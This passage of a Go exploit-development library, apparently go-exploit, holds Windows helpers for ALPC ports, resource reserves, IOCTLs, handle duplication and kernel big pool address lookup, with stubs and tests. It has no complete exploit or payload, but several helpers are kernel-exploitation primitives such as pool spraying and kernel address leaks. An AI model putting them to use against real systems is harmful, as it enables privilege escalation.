    "content": "//go:build windows\n\npackage windows\n\nimport (\n\t\"fmt\"\n\t\"syscall\"\n\t\"unsafe\"\n\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n\t\"golang.org/x/sys/windows\"\n)\n\n// ALPC Information Classes\nconst (\n\tAlpcBasicInformation                                = 0\n\tAlpcPortInformation                                 = 1\n\tAlpcAssociateCompletionPortInformation              = 2\n\tAlpcConnectedSIDInformation                         = 3\n\tAlpcServerInformation                               = 4\n\tAlpcMessageZoneInformation                          = 5\n\tAlpcRegisterCompletionListInformation               = 6\n\tAlpcUnregisterCompletionListInformation             = 7\n\tAlpcAdjustCompletionListConcurrencyCountInformation = 8\n\tAlpcRegisterCallbackInformation                     = 9\n\tAlpcDisconnectPortInformation                       = 10\n\tAlpcPortSectionInformation                          = 11\n)\n\n// Internal structure for ALPC section info\ntype alpcPortSectionInfoInternal struct {\n\tSectionHandle  uintptr\n\tSectionSize    uint64\n\tSectionAddress uintptr\n\tViewBase       uintptr\n\tViewSize       uint64\n}\n\n// EnumALPCPorts returns all ALPC port handles for a given process\nfunc EnumALPCPorts(pid uint32) ([]HandleInfo, bool) {\n\treturn QueryProcessHandlesByType(pid, AlpcPortObjectType)\n}\n\n// QueryALPCPortSectionInfo queries section information from an ALPC port\n// using NtAlpcQueryInformation with AlpcPortSectionInformation class.\n// The returned information may include section addresses.\nfunc QueryALPCPortSectionInfo(portHandle Handle) (*ALPCSectionInfo, bool) {\n\tvar sectionInfo alpcPortSectionInfoInternal\n\tvar retLen uint32\n\n\tstatus, _, _ := syscall.SyscallN(\n\t\tprocNtAlpcQueryInformation.Addr(),\n\t\tuintptr(portHandle),\n\t\tAlpcPortSectionInformation,\n\t\tuintptr(unsafe.Pointer(&sectionInfo)),\n\t\tunsafe.Sizeof(sectionInfo),\n\t\tuintptr(unsafe.Pointer(&retLen)),\n\t)\n\n\tif status != StatusSuccess {\n\t\toutput.PrintfFrameworkError(\"NtAlpcQueryInformation failed: 0x%x\", status)\n\t\treturn nil, false\n\t}\n\n\treturn &ALPCSectionInfo{\n\t\tSectionHandle:  Handle(sectionInfo.SectionHandle),\n\t\tSectionSize:    sectionInfo.SectionSize,\n\t\tSectionAddress: sectionInfo.SectionAddress,\n\t\tViewBase:       sectionInfo.ViewBase,\n\t\tViewSize:       sectionInfo.ViewSize,\n\t}, true\n}\n\n// NtAlpcCreatePort creates an ALPC port with the given name and maximum message length.\n// portName should be in NT object namespace format (e.g., \"\\\\RPC Control\\\\TestPort_0\").\n// Returns the port handle and success status.\nfunc NtAlpcCreatePort(portName string, maxMessageLength uint64) (Handle, bool) {\n\tportNameUTF16, err := windows.UTF16FromString(portName)\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"NtAlpcCreatePort: failed to convert port name: %v\", err)\n\t\treturn InvalidHandleValue, false\n\t}\n\n\tvar ustr UnicodeString\n\tustr.Length = uint16(len(portNameUTF16)-1) * 2\n\tustr.MaximumLength = uint16(len(portNameUTF16)) * 2\n\tustr.Buffer = uintptr(unsafe.Pointer(&portNameUTF16[0]))\n\n\tvar oa ObjectAttributes\n\toa.Length = uint32(unsafe.Sizeof(oa))\n\toa.ObjectName = uintptr(unsafe.Pointer(&ustr))\n\n\tvar portAttr ALPCPortAttributes\n\tportAttr.MaxMessageLength = maxMessageLength\n\n\tvar portHandle uintptr\n\n\tstatus, _, _ := syscall.SyscallN(\n\t\tprocNtAlpcCreatePort.Addr(),\n\t\tuintptr(unsafe.Pointer(&portHandle)),\n\t\tuintptr(unsafe.Pointer(&oa)),\n\t\tuintptr(unsafe.Pointer(&portAttr)),\n\t)\n\n\tif status != StatusSuccess {\n\t\toutput.PrintfFrameworkError(\"NtAlpcCreatePort failed: 0x%x\", status)\n\t\treturn InvalidHandleValue, false\n\t}\n\n\treturn Handle(portHandle), true\n}\n\n// NtAlpcCreateResourceReserve allocates a kernel pool reserve object on the given ALPC port.\n// messageSize is the size of the reserve allocation (e.g., 0x28).\n// Returns the resource reserve handle and success status.\nfunc NtAlpcCreateResourceReserve(portHandle Handle, messageSize uint32) (Handle, bool) {\n\tvar resourceHandle uintptr\n\n\tstatus, _, _ := syscall.SyscallN(\n\t\tprocNtAlpcCreateResourceReserve.Addr(),\n\t\tuintptr(portHandle),\n\t\t0, // Flags (reserved, must be 0)\n\t\tuintptr(messageSize),\n\t\tuintptr(unsafe.Pointer(&resourceHandle)),\n\t)\n\n\tif status != StatusSuccess {\n\t\toutput.PrintfFrameworkError(\"NtAlpcCreateResourceReserve failed: 0x%x\", status)\n\t\treturn InvalidHandleValue, false\n\t}\n\n\treturn Handle(resourceHandle), true\n}\n\n// NtAlpcSendWaitReceivePort sends a message on an ALPC port.\n// sendMsg should point to a PORT_MESSAGE-prefixed buffer.\n// This is the send-only variant; receive parameters are set to NULL.\n// Returns the NTSTATUS and success status.\nfunc NtAlpcSendWaitReceivePort(portHandle Handle, flags uint32, sendMsg unsafe.Pointer) (uintptr, bool) {\n\tstatus, _, _ := syscall.SyscallN(\n\t\tprocNtAlpcSendWaitReceivePort.Addr(),\n\t\tuintptr(portHandle),\n\t\tuintptr(flags),\n\t\tuintptr(sendMsg),\n\t\t0, // SendMessageAttributes\n\t\t0, // ReceiveMessage\n\t\t0, // BufferLength\n\t\t0, // ReceiveMessageAttributes\n\t\t0, // Timeout\n\t)\n\n\tif status != StatusSuccess {\n\t\treturn status, false\n\t}\n\n\treturn status, true\n}\n\n// CreateALPCPorts creates the specified number of ALPC ports with names\n// \"\\\\RPC Control\\\\<prefix>_<index>\" and the given max message length.\n// Returns a slice of port handles and success status.\nfunc CreateALPCPorts(count uint32, prefix string, maxMessageLength uint64) ([]Handle, bool) {\n\tports := make([]Handle, count)\n\n\tfor i := uint32(0); i < count; i++ {\n\t\tportName := fmt.Sprintf(`\\RPC Control\\%s_%d`, prefix, i)\n\t\thandle, ok := NtAlpcCreatePort(portName, maxMessageLength)\n\t\tif !ok {\n\t\t\toutput.PrintfFrameworkError(\"CreateALPCPorts: failed to create port %d\", i)\n\t\t\treturn nil, false\n\t\t}\n\t\tports[i] = handle\n\t}\n\n\treturn ports, true\n}\n"
  },
  {
    "path": "windows/device_other.go",
    "content": "//go:build !windows\n\npackage windows\n\nimport \"unsafe\"\n\n// OpenDevice opens a handle to a device driver.\n// On non-Windows systems, returns false.\nfunc OpenDevice(_ string, _ uint32) (Handle, bool) {\n\treturn InvalidHandleValue, false\n}\n\n// DeviceIoControl sends a control code to a device driver.\n// On non-Windows systems, returns false.\nfunc DeviceIoControl(_ Handle, _ uint32, _ []byte, _ []byte) (uint32, bool) {\n\treturn 0, false\n}\n\n// DeviceIoControlPtr sends a control code with raw pointers.\n// On non-Windows systems, returns false.\nfunc DeviceIoControlPtr(_ Handle, _ uint32, _ unsafe.Pointer, _ uint32, _ unsafe.Pointer, _ uint32) (uint32, bool) {\n\treturn 0, false\n}\n\n// CtlCode builds a device I/O control code.\n// The computation is valid on any platform, but the result is only meaningful\n// when passed to DeviceIoControl on Windows.\nfunc CtlCode(deviceType, function, method, access uint32) uint32 {\n\treturn (deviceType << 16) | (access << 14) | (function << 2) | method\n}\n\n// Common device types for CtlCode.\nconst (\n\tFileDeviceUnknown = 0x00000022\n\tFileDeviceKS      = 0x0000002F\n)\n\n// Method types for CtlCode.\nconst (\n\tMethodBuffered  = 0\n\tMethodInDirect  = 1\n\tMethodOutDirect = 2\n\tMethodNeither   = 3\n)\n\n// Access types for CtlCode.\nconst (\n\tFileAnyAccess   = 0\n\tFileReadAccess  = 1\n\tFileWriteAccess = 2\n)\n"
  },
  {
    "path": "windows/device_test.go",
    "content": "package windows_test\n\nimport (\n\t\"runtime\"\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/windows\"\n)\n\nfunc TestCtlCode(t *testing.T) {\n\t// Test building an IOCTL code\n\t// CtlCode(FileDeviceUnknown, 0x800, MethodBuffered, FileAnyAccess)\n\tcode := windows.CtlCode(windows.FileDeviceUnknown, 0x800, windows.MethodBuffered, windows.FileAnyAccess)\n\texpected := uint32((0x22 << 16) | (0x800 << 2))\n\tif code != expected {\n\t\tt.Errorf(\"CtlCode returned 0x%x, expected 0x%x\", code, expected)\n\t}\n}\n\nfunc TestOpenDeviceNonWindows(t *testing.T) {\n\tif runtime.GOOS != \"windows\" {\n\t\t_, ok := windows.OpenDevice(\"\\\\\\\\.\\\\SomeDevice\", windows.GenericRead)\n\t\tif ok {\n\t\t\tt.Error(\"Expected false on non-Windows\")\n\t\t}\n\t}\n}\n\nfunc TestDeviceIoControlNonWindows(t *testing.T) {\n\tif runtime.GOOS != \"windows\" {\n\t\t_, ok := windows.DeviceIoControl(windows.Handle(0), 0x12345678, nil, nil)\n\t\tif ok {\n\t\t\tt.Error(\"Expected false on non-Windows\")\n\t\t}\n\t}\n}\n\nfunc TestDeviceConstants(t *testing.T) {\n\tif windows.FileDeviceUnknown != 0x00000022 {\n\t\tt.Error(\"FileDeviceUnknown incorrect\")\n\t}\n\tif windows.MethodBuffered != 0 {\n\t\tt.Error(\"MethodBuffered incorrect\")\n\t}\n\tif windows.MethodNeither != 3 {\n\t\tt.Error(\"MethodNeither incorrect\")\n\t}\n}\n"
  },
  {
    "path": "windows/device_windows.go",
    "content": "//go:build windows\n\npackage windows\n\nimport (\n\t\"unsafe\"\n\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n\t\"golang.org/x/sys/windows\"\n)\n\n// OpenDevice opens a handle to a device driver.\nfunc OpenDevice(devicePath string, access uint32) (Handle, bool) {\n\tpathPtr, err := windows.UTF16PtrFromString(devicePath)\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"OpenDevice: invalid path: %v\", err)\n\t\treturn InvalidHandleValue, false\n\t}\n\n\thandle, err := windows.CreateFile(\n\t\tpathPtr,\n\t\taccess,\n\t\tFileShareRead|FileShareWrite,\n\t\tnil,\n\t\tOpenExisting,\n\t\t0,\n\t\t0,\n\t)\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"failed to open device %s: %v\", devicePath, err)\n\t\treturn InvalidHandleValue, false\n\t}\n\n\treturn Handle(handle), true\n}\n\n// DeviceIoControl sends a control code to a device driver.\nfunc DeviceIoControl(device Handle, ioControlCode uint32, inBuffer []byte, outBuffer []byte) (uint32, bool) {\n\tvar bytesReturned uint32\n\tvar inPtr, outPtr *byte\n\tvar inSize, outSize uint32\n\n\tif len(inBuffer) > 0 {\n\t\tinPtr = &inBuffer[0]\n\t\tinSize = uint32(len(inBuffer))\n\t}\n\tif len(outBuffer) > 0 {\n\t\toutPtr = &outBuffer[0]\n\t\toutSize = uint32(len(outBuffer))\n\t}\n\n\terr := windows.DeviceIoControl(\n\t\twindows.Handle(device),\n\t\tioControlCode,\n\t\tinPtr,\n\t\tinSize,\n\t\toutPtr,\n\t\toutSize,\n\t\t&bytesReturned,\n\t\tnil,\n\t)\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"DeviceIoControl failed: %v\", err)\n\t\treturn 0, false\n\t}\n\n\treturn bytesReturned, true\n}\n\n// DeviceIoControlPtr sends a control code with raw pointers.\n// Use this when you need to pass structured data (like structs) directly\n// to the driver without copying to a byte slice first. This is useful for:\n// - Large data structures where copying would be expensive.\n// - Structs with embedded pointers that need specific memory layout.\n// - IOCTLs that return data in place within the input structure.\nfunc DeviceIoControlPtr(device Handle, ioControlCode uint32, inPtr unsafe.Pointer, inSize uint32, outPtr unsafe.Pointer, outSize uint32) (uint32, bool) {\n\tvar bytesReturned uint32\n\n\terr := windows.DeviceIoControl(\n\t\twindows.Handle(device),\n\t\tioControlCode,\n\t\t(*byte)(inPtr),\n\t\tinSize,\n\t\t(*byte)(outPtr),\n\t\toutSize,\n\t\t&bytesReturned,\n\t\tnil,\n\t)\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"DeviceIoControl failed: %v\", err)\n\t\treturn 0, false\n\t}\n\n\treturn bytesReturned, true\n}\n\n// CtlCode builds a device I/O control code from its component parts.\n// This macro is documented at:\n// https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/defining-i-o-control-codes\n//\n// Parameters:\n//   - deviceType: FileDevice* constant identifying the device type.\n//   - function: Function code (0-2047 reserved by Microsoft, 2048-4095 for custom).\n//   - method: MethodBuffered, MethodInDirect, MethodOutDirect, or MethodNeither.\n//   - access: FileAnyAccess, FileReadAccess, FileWriteAccess, or FileReadAccess|FileWriteAccess.\nfunc CtlCode(deviceType, function, method, access uint32) uint32 {\n\treturn (deviceType << 16) | (access << 14) | (function << 2) | method\n}\n\n// Common device types for CtlCode.\nconst (\n\tFileDeviceUnknown = 0x00000022\n\tFileDeviceKS      = 0x0000002F\n)\n\n// Method types for CtlCode.\nconst (\n\tMethodBuffered  = 0\n\tMethodInDirect  = 1\n\tMethodOutDirect = 2\n\tMethodNeither   = 3\n)\n\n// Access types for CtlCode.\nconst (\n\tFileAnyAccess   = 0\n\tFileReadAccess  = 1\n\tFileWriteAccess = 2\n)\n"
  },
  {
    "path": "windows/fsctl_other.go",
    "content": "//go:build !windows\n\npackage windows\n\n// NtFsControlFile sends a filesystem control code to a file handle.\n// On non-Windows systems, returns false.\nfunc NtFsControlFile(_ Handle, _ uint32, _ []byte, _ []byte) (*IOStatusBlock, bool) {\n\treturn nil, false\n}\n\n// NtFsControlFilePtr sends a filesystem control code using raw pointers.\n// On non-Windows systems, returns false.\nfunc NtFsControlFilePtr(_ Handle, _ uint32, _ uintptr, _ uint32, _ uintptr, _ uint32) (*IOStatusBlock, bool) {\n\treturn nil, false\n}\n\n// NtCreateFile opens or creates a file using the NT native API.\n// On non-Windows systems, returns false.\nfunc NtCreateFile(_ string, _ uint32, _ uint32, _ uint32, _ uint32, _ uint32) (Handle, bool) {\n\treturn InvalidHandleValue, false\n}\n"
  },
  {
    "path": "windows/fsctl_windows.go",
    "content": "//go:build windows\n\npackage windows\n\nimport (\n\t\"syscall\"\n\t\"unsafe\"\n\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n\t\"golang.org/x/sys/windows\"\n)\n\n// NtFsControlFile sends a filesystem control code to a file handle.\n// Accepts byte slices for input/output buffers. Returns the IO_STATUS_BLOCK and success.\nfunc NtFsControlFile(handle Handle, fsctlCode uint32, inBuf []byte, outBuf []byte) (*IOStatusBlock, bool) {\n\tvar iosb IOStatusBlock\n\tvar inPtr, outPtr unsafe.Pointer\n\tvar inLen, outLen uint32\n\n\tif len(inBuf) > 0 {\n\t\tinPtr = unsafe.Pointer(&inBuf[0])\n\t\tinLen = uint32(len(inBuf))\n\t}\n\tif len(outBuf) > 0 {\n\t\toutPtr = unsafe.Pointer(&outBuf[0])\n\t\toutLen = uint32(len(outBuf))\n\t}\n\n\tstatus, _, _ := syscall.SyscallN(\n\t\tprocNtFsControlFile.Addr(),\n\t\tuintptr(handle),\n\t\t0, // Event\n\t\t0, // ApcRoutine\n\t\t0, // ApcContext\n\t\tuintptr(unsafe.Pointer(&iosb)),\n\t\tuintptr(fsctlCode),\n\t\tuintptr(inPtr),\n\t\tuintptr(inLen),\n\t\tuintptr(outPtr),\n\t\tuintptr(outLen),\n\t)\n\n\tif status != StatusSuccess {\n\t\treturn &iosb, false\n\t}\n\n\treturn &iosb, true\n}\n\n// NtFsControlFilePtr sends a filesystem control code using raw pointers.\n// Use this when you need precise control over buffer addresses and sizes.\nfunc NtFsControlFilePtr(handle Handle, fsctlCode uint32, inPtr uintptr, inSize uint32, outPtr uintptr, outSize uint32) (*IOStatusBlock, bool) {\n\tvar iosb IOStatusBlock\n\n\tstatus, _, _ := syscall.SyscallN(\n\t\tprocNtFsControlFile.Addr(),\n\t\tuintptr(handle),\n\t\t0, // Event\n\t\t0, // ApcRoutine\n\t\t0, // ApcContext\n\t\tuintptr(unsafe.Pointer(&iosb)),\n\t\tuintptr(fsctlCode),\n\t\tinPtr,\n\t\tuintptr(inSize),\n\t\toutPtr,\n\t\tuintptr(outSize),\n\t)\n\n\tif status != StatusSuccess {\n\t\treturn &iosb, false\n\t}\n\n\treturn &iosb, true\n}\n\n// NtCreateFile opens or creates a file using the NT native API.\n// ntPath should be an NT-style path (e.g., \"\\\\??\\\\C:\\\\path\\\\to\\\\file\").\n// Returns the file handle and success status.\nfunc NtCreateFile(ntPath string, desiredAccess uint32, shareAccess uint32, disposition uint32, createOptions uint32, attributes uint32) (Handle, bool) {\n\tpathUTF16, err := windows.UTF16FromString(ntPath)\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"NtCreateFile: failed to convert path: %v\", err)\n\t\treturn InvalidHandleValue, false\n\t}\n\n\tvar ustr UnicodeString\n\tustr.Length = uint16(len(pathUTF16)-1) * 2      // exclude null terminator, in bytes\n\tustr.MaximumLength = uint16(len(pathUTF16)) * 2 // include null terminator, in bytes\n\tustr.Buffer = uintptr(unsafe.Pointer(&pathUTF16[0]))\n\n\tvar oa ObjectAttributes\n\toa.Length = uint32(unsafe.Sizeof(oa))\n\toa.ObjectName = uintptr(unsafe.Pointer(&ustr))\n\toa.Attributes = attributes\n\n\tvar iosb IOStatusBlock\n\tvar fileHandle uintptr\n\n\tstatus, _, _ := syscall.SyscallN(\n\t\tprocNtCreateFile.Addr(),\n\t\tuintptr(unsafe.Pointer(&fileHandle)),\n\t\tuintptr(desiredAccess),\n\t\tuintptr(unsafe.Pointer(&oa)),\n\t\tuintptr(unsafe.Pointer(&iosb)),\n\t\t0, // AllocationSize\n\t\t0, // FileAttributes\n\t\tuintptr(shareAccess),\n\t\tuintptr(disposition),\n\t\tuintptr(createOptions),\n\t\t0, // EaBuffer\n\t\t0, // EaLength\n\t)\n\n\tif status != StatusSuccess {\n\t\toutput.PrintfFrameworkError(\"NtCreateFile failed: 0x%x\", status)\n\t\treturn InvalidHandleValue, false\n\t}\n\n\treturn Handle(fileHandle), true\n}\n"
  },
  {
    "path": "windows/handle_other.go",
    "content": "//go:build !windows\n\npackage windows\n\n// QuerySystemHandles returns all handles in the system.\n// On non-Windows systems, returns false.\nfunc QuerySystemHandles() ([]HandleInfo, bool) {\n\treturn nil, false\n}\n\n// QueryProcessHandles returns handles belonging to a specific process.\n// On non-Windows systems, returns false.\nfunc QueryProcessHandles(_ uint32) ([]HandleInfo, bool) {\n\treturn nil, false\n}\n\n// QueryProcessHandlesByType returns handles of a specific type from a process.\n// On non-Windows systems, returns false.\nfunc QueryProcessHandlesByType(_ uint32, _ uint8) ([]HandleInfo, bool) {\n\treturn nil, false\n}\n\n// DuplicateHandle duplicates a handle from another process into the current process.\n// On non-Windows systems, returns false.\nfunc DuplicateHandle(_ Handle, _ Handle, _ Handle, _ uint32, _ bool, _ uint32) (Handle, bool) {\n\treturn InvalidHandleValue, false\n}\n\n// DuplicateHandleFromProcess duplicates a handle from a remote process to the current process.\n// On non-Windows systems, returns false.\nfunc DuplicateHandleFromProcess(_ uint32, _ uint16) (Handle, bool) {\n\treturn InvalidHandleValue, false\n}\n\n// Common handle duplication options.\nconst (\n\tDuplicateCloseSource = 0x1\n\tDuplicateSameAccess  = 0x2\n)\n\n// QueryBigPoolInformation queries kernel big pool allocations filtered by tag and size.\n// On non-Windows systems, returns false.\nfunc QueryBigPoolInformation(_ uint32, _ uint64) ([]BigPoolEntry, bool) {\n\treturn nil, false\n}\n\n// FindBigPoolAddress locates a big pool allocation by tag and size.\n// On non-Windows systems, returns false.\nfunc FindBigPoolAddress(_ uint32, _ uint64) (uintptr, bool) {\n\treturn 0, false\n}\n"
  },
  {
    "path": "windows/handle_test.go",
    "content": "package windows_test\n\nimport (\n\t\"runtime\"\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/windows\"\n)\n\nfunc TestHandleDuplicationConstants(t *testing.T) {\n\tif windows.DuplicateCloseSource != 0x1 {\n\t\tt.Errorf(\"DuplicateCloseSource should be 0x1, got 0x%x\", windows.DuplicateCloseSource)\n\t}\n\tif windows.DuplicateSameAccess != 0x2 {\n\t\tt.Errorf(\"DuplicateSameAccess should be 0x2, got 0x%x\", windows.DuplicateSameAccess)\n\t}\n}\n\nfunc TestQuerySystemHandlesNonWindows(t *testing.T) {\n\tif runtime.GOOS != windowsOS {\n\t\t_, ok := windows.QuerySystemHandles()\n\t\tif ok {\n\t\t\tt.Error(\"Expected false on non-Windows\")\n\t\t}\n\t}\n}\n\nfunc TestQueryProcessHandlesNonWindows(t *testing.T) {\n\tif runtime.GOOS != windowsOS {\n\t\t_, ok := windows.QueryProcessHandles(1234)\n\t\tif ok {\n\t\t\tt.Error(\"Expected false on non-Windows\")\n\t\t}\n\t}\n}\n\nfunc TestQueryProcessHandlesByTypeNonWindows(t *testing.T) {\n\tif runtime.GOOS != windowsOS {\n\t\t_, ok := windows.QueryProcessHandlesByType(1234, 0)\n\t\tif ok {\n\t\t\tt.Error(\"Expected false on non-Windows\")\n\t\t}\n\t}\n}\n\nfunc TestDuplicateHandleNonWindows(t *testing.T) {\n\tif runtime.GOOS != windowsOS {\n\t\t_, ok := windows.DuplicateHandle(\n\t\t\twindows.Handle(0),\n\t\t\twindows.Handle(0),\n\t\t\twindows.Handle(0),\n\t\t\t0,\n\t\t\tfalse,\n\t\t\twindows.DuplicateSameAccess,\n\t\t)\n\t\tif ok {\n\t\t\tt.Error(\"Expected false on non-Windows\")\n\t\t}\n\t}\n}\n\nfunc TestDuplicateHandleFromProcessNonWindows(t *testing.T) {\n\tif runtime.GOOS != windowsOS {\n\t\t_, ok := windows.DuplicateHandleFromProcess(1234, 100)\n\t\tif ok {\n\t\t\tt.Error(\"Expected false on non-Windows\")\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "windows/handle_windows.go",
    "content": "//go:build windows\n\npackage windows\n\nimport (\n\t\"syscall\"\n\t\"unsafe\"\n\n\t\"golang.org/x/sys/windows\"\n\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n)\n\n// QuerySystemHandles returns all handles in the system.\n// This is useful for finding handles in other processes.\nfunc QuerySystemHandles() ([]HandleInfo, bool) {\n\tvar size uint32 = 0x10000\n\tvar retLen uint32\n\n\tfor {\n\t\tbuf := make([]byte, size)\n\t\terr := windows.NtQuerySystemInformation(\n\t\t\tint32(SystemHandleInformation),\n\t\t\tunsafe.Pointer(&buf[0]),\n\t\t\tsize,\n\t\t\t&retLen,\n\t\t)\n\n\t\tif err == windows.STATUS_INFO_LENGTH_MISMATCH {\n\t\t\tsize *= 2\n\t\t\tcontinue\n\t\t}\n\n\t\tif err != nil {\n\t\t\toutput.PrintfFrameworkError(\"NtQuerySystemInformation failed: %v\", err)\n\t\t\treturn nil, false\n\t\t}\n\n\t\t// Parse handle information\n\t\theader := (*systemHandleInformation)(unsafe.Pointer(&buf[0]))\n\t\tnumHandles := header.NumberOfHandles\n\n\t\thandles := make([]HandleInfo, 0, numHandles)\n\t\tentrySize := unsafe.Sizeof(systemHandleTableEntryInfo{})\n\n\t\tfor i := uint32(0); i < numHandles; i++ {\n\t\t\toffset := unsafe.Sizeof(systemHandleInformation{}) + uintptr(i)*entrySize\n\t\t\tentry := (*systemHandleTableEntryInfo)(unsafe.Pointer(&buf[offset]))\n\n\t\t\thandles = append(handles, HandleInfo{\n\t\t\t\tProcessID:       uint32(entry.UniqueProcessId),\n\t\t\t\tHandleValue:     entry.HandleValue,\n\t\t\t\tObjectTypeIndex: entry.ObjectTypeIndex,\n\t\t\t\tObjectAddress:   entry.Object,\n\t\t\t\tGrantedAccess:   entry.GrantedAccess,\n\t\t\t})\n\t\t}\n\n\t\treturn handles, true\n\t}\n}\n\n// QueryProcessHandles returns handles belonging to a specific process\nfunc QueryProcessHandles(pid uint32) ([]HandleInfo, bool) {\n\tallHandles, ok := QuerySystemHandles()\n\tif !ok {\n\t\treturn nil, false\n\t}\n\n\tvar handles []HandleInfo\n\tfor _, h := range allHandles {\n\t\tif h.ProcessID == pid {\n\t\t\thandles = append(handles, h)\n\t\t}\n\t}\n\n\treturn handles, true\n}\n\n// QueryProcessHandlesByType returns handles of a specific type from a process\nfunc QueryProcessHandlesByType(pid uint32, objectTypeIndex uint8) ([]HandleInfo, bool) {\n\thandles, ok := QueryProcessHandles(pid)\n\tif !ok {\n\t\treturn nil, false\n\t}\n\n\tvar filtered []HandleInfo\n\tfor _, h := range handles {\n\t\tif h.ObjectTypeIndex == objectTypeIndex {\n\t\t\tfiltered = append(filtered, h)\n\t\t}\n\t}\n\n\treturn filtered, true\n}\n\n// DuplicateHandle duplicates a handle from another process into the current process\nfunc DuplicateHandle(sourceProcess Handle, sourceHandle Handle, targetProcess Handle, access uint32, inherit bool, options uint32) (Handle, bool) {\n\tvar dupHandle uintptr\n\tvar inheritFlag uintptr\n\tif inherit {\n\t\tinheritFlag = 1\n\t}\n\n\tstatus, _, _ := syscall.SyscallN(\n\t\tprocNtDuplicateObject.Addr(),\n\t\tuintptr(sourceProcess),\n\t\tuintptr(sourceHandle),\n\t\tuintptr(targetProcess),\n\t\tuintptr(unsafe.Pointer(&dupHandle)),\n\t\tuintptr(access),\n\t\tinheritFlag,\n\t\tuintptr(options),\n\t)\n\n\tif status != StatusSuccess {\n\t\toutput.PrintfFrameworkError(\"NtDuplicateObject failed: 0x%x\", status)\n\t\treturn InvalidHandleValue, false\n\t}\n\n\treturn Handle(dupHandle), true\n}\n\n// DuplicateHandleFromProcess duplicates a handle from a remote process to the current process.\n// This is a convenience function that opens the source process, duplicates the handle, and closes.\nfunc DuplicateHandleFromProcess(sourcePID uint32, sourceHandleValue uint16) (Handle, bool) {\n\t// Open source process\n\tsourceProcess, ok := OpenProcess(sourcePID, ProcessDupHandle)\n\tif !ok {\n\t\treturn InvalidHandleValue, false\n\t}\n\tdefer CloseHandle(sourceProcess)\n\n\t// Get current process handle\n\tcurrentProcess := GetCurrentProcess()\n\n\t// Duplicate with same access\n\treturn DuplicateHandle(\n\t\tsourceProcess,\n\t\tHandle(sourceHandleValue),\n\t\tcurrentProcess,\n\t\t0, // Same access as source\n\t\tfalse,\n\t\t0x2, // DuplicateSameAccess\n\t)\n}\n\n// Common handle duplication options.\nconst (\n\tDuplicateCloseSource = 0x1\n\tDuplicateSameAccess  = 0x2\n)\n\n// QueryBigPoolInformation queries the kernel big pool allocations filtered by pool tag and size.\n// Uses NtQuerySystemInformation with SystemBigPoolInformation (class 66).\n// Returns matching BigPoolEntry entries.\nfunc QueryBigPoolInformation(tag uint32, poolSize uint64) ([]BigPoolEntry, bool) {\n\tvar size uint32 = 0x10000\n\tvar retLen uint32\n\n\tvar buf []byte\n\tfor {\n\t\tbuf = make([]byte, size)\n\t\terr := windows.NtQuerySystemInformation(\n\t\t\tint32(SystemBigPoolInformation),\n\t\t\tunsafe.Pointer(&buf[0]),\n\t\t\tsize,\n\t\t\t&retLen,\n\t\t)\n\n\t\tif err == windows.STATUS_INFO_LENGTH_MISMATCH {\n\t\t\tsize *= 2\n\t\t\tcontinue\n\t\t}\n\n\t\tif err != nil {\n\t\t\toutput.PrintfFrameworkError(\"NtQuerySystemInformation(BigPool) failed: %v\", err)\n\t\t\treturn nil, false\n\t\t}\n\t\tbreak\n\t}\n\n\theader := (*BigPoolInformation)(unsafe.Pointer(&buf[0]))\n\tif header.Count == 0 {\n\t\treturn nil, true\n\t}\n\n\tentrySize := unsafe.Sizeof(BigPoolEntry{})\n\theaderSize := unsafe.Sizeof(BigPoolInformation{})\n\t// BigPoolInformation is 4 bytes, but entries are 8-byte aligned, so offset to first entry\n\t// is typically at offset 8 (4 bytes header + 4 bytes padding).\n\tfirstEntryOffset := headerSize\n\tif firstEntryOffset%unsafe.Alignof(BigPoolEntry{}) != 0 {\n\t\tfirstEntryOffset += unsafe.Alignof(BigPoolEntry{}) - (firstEntryOffset % unsafe.Alignof(BigPoolEntry{}))\n\t}\n\n\tvar matches []BigPoolEntry\n\tfor i := uint32(0); i < header.Count; i++ {\n\t\toffset := firstEntryOffset + uintptr(i)*entrySize\n\t\tif offset+entrySize > uintptr(len(buf)) {\n\t\t\tbreak\n\t\t}\n\t\tentry := (*BigPoolEntry)(unsafe.Pointer(&buf[offset]))\n\n\t\tif entry.Tag == tag && uint64(entry.SizeInBytes) == poolSize {\n\t\t\tmatches = append(matches, *entry)\n\t\t}\n\t}\n\n\treturn matches, true\n}\n\n// FindBigPoolAddress locates the last big pool allocation matching the given tag and size.\n// Returns the virtual address with the NonPaged bit (bit 0) cleared.\n// Returns false if no matching entry is found (does not print error).\nfunc FindBigPoolAddress(tag uint32, poolSize uint64) (uintptr, bool) {\n\tentries, ok := QueryBigPoolInformation(tag, poolSize)\n\tif !ok {\n\t\treturn 0, false\n\t}\n\n\tif len(entries) == 0 {\n\t\treturn 0, false\n\t}\n\n\t// Return the last match with NonPaged bit cleared\n\tlast := entries[len(entries)-1]\n\taddr := last.VirtualAddress &^ 1\n\n\treturn addr, true\n}\n"
  },
  {
    "path": "windows/memory_other.go",
    "content": "//go:build !windows\n\npackage windows\n\n// VirtualAlloc allocates memory in the current process.\n// On non-Windows systems, returns false.\nfunc VirtualAlloc(_ uintptr, _ uintptr, _ uint32, _ uint32) (uintptr, bool) {\n\treturn 0, false\n}\n\n// VirtualAllocEx allocates memory in a remote process.\n// On non-Windows systems, returns false.\nfunc VirtualAllocEx(_ Handle, _ uintptr, _ uintptr, _ uint32, _ uint32) (uintptr, bool) {\n\treturn 0, false\n}\n\n// VirtualFree frees memory in the current process.\n// On non-Windows systems, returns false.\nfunc VirtualFree(_ uintptr, _ uintptr, _ uint32) bool {\n\treturn false\n}\n\n// VirtualFreeEx frees memory in a remote process.\n// On non-Windows systems, returns false.\nfunc VirtualFreeEx(_ Handle, _ uintptr, _ uintptr, _ uint32) bool {\n\treturn false\n}\n\n// VirtualProtect changes memory protection in the current process.\n// On non-Windows systems, returns 